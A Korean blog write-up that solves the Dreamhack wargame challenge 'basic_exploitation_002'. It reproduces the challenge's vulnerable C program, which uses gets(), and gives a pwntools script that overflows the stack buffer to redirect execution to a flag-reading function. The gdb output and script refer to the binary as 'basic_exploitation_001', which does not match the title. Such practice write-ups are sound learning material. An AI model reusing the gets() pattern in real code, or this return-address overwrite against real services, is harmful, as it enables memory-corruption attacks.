반응형
HackHiJack
HHJ
HackHiJack
전체 방문자
오늘
어제
  • 분류 전체보기 (99)
    • chatGPT (2)
    • pwn (2)
    • 워게임 (32)
    • Reversing (0)
    • Cryptography (12)
    • Web (6)
    • CTFs (16)
    • TryHackMe (6)
    • Go (5)
    • Forensics (18)

블로그 메뉴

  • 홈

공지사항

  • Welcome To HHJ's Blog

인기 글

태그

  • 해킹 #TryHackMe #WriteUp #ignite
  • ㅣ
  • main
  • function
  • rootme
  • func
  • startup
  • webhacking.kr
  • Import
  • forensic
  • hacking
  • go
  • package
  • analyis
  • 암호 #AES #드림핵
  • shellctf
  • main.go
  • 포렌식
  • pwnable.kr
  • linkfile

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HackHiJack

HHJ

Dreamhack - basic_exploitation_002
워게임

Dreamhack - basic_exploitation_002

2021. 7. 28. 23:38
728x90
반응형

오늘은 드림핵의 basic exploitation 2를 풀어볼 것이다.

일단 먼저 주어진 C코드르 확인해보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

그냥 buf 0x80 바이트를 받는 프로그램이다.

 

그런데 read_flag라는 함수가 있다.

 

아마도 buf를 BOF 하여 return address에 read_flag의 주소를 넣어서 flag를 얻는 것 같다.

 

먼저 스택의 구조를 파악해보자.

#stack
buf[0x80]
sfp[4]
ret[4]

ret를 덮으려면 0x80 + 0x4의 바이트를 넣으면 된다.

 

이제 gdb를 이용하여 read_flag의 위치를 확인해보자.

psj@ubuntu:~$ gdb -q ./basic_exploitation_001
Reading symbols from ./basic_exploitation_001...(no debugging symbols found)...done.
(gdb) info func read_flag
All functions matching regular expression "read_flag":

Non-debugging symbols:
0x080485b9  read_flag

read_flag의 주소는 0x080485b9이다.

 

그러면 nop 을 0x84 bytes를 넣고 0x080485b9를 넣으면 된다.

 

이제 exploit code를 짜보자.

from pwn import *

p = remote("host1.dreamhack.games",11740)
#p = process("./basic_exploitation_001")

#buf(0x80) + sfp(4) + ret(4) = 136

ret = 0x080485b9 #read_flag address

payload = b'\x90' * 0x80 #buf
payload += b'\x90' * 4   #sfp
payload += p32(ret)      #ret

p.sendline(payload)

flag = p.recvuntil("}") #flag format : DH{}

print(flag)

이제 스크립트를 실행해보자.

위처럼 flag가 나오는 걸 확인할 수 있다.(flag는 직접 해보고 확인....)

728x90
반응형

'워게임' 카테고리의 다른 글

Dreamhack - ssp_000  (0) 2021.07.31
Dreamhack - web-misconf-1  (0) 2021.07.29
HackCTF - ROP  (0) 2021.07.27
HackCTF - BOF_Basic #1  (0) 2021.07.27
Shellcode(쉘코드) 모음  (0) 2021.07.27
    '워게임' 카테고리의 다른 글
    • Dreamhack - ssp_000
    • Dreamhack - web-misconf-1
    • HackCTF - ROP
    • HackCTF - BOF_Basic #1
    HackHiJack
    HackHiJack
    $ whoami HHJ

    티스토리툴바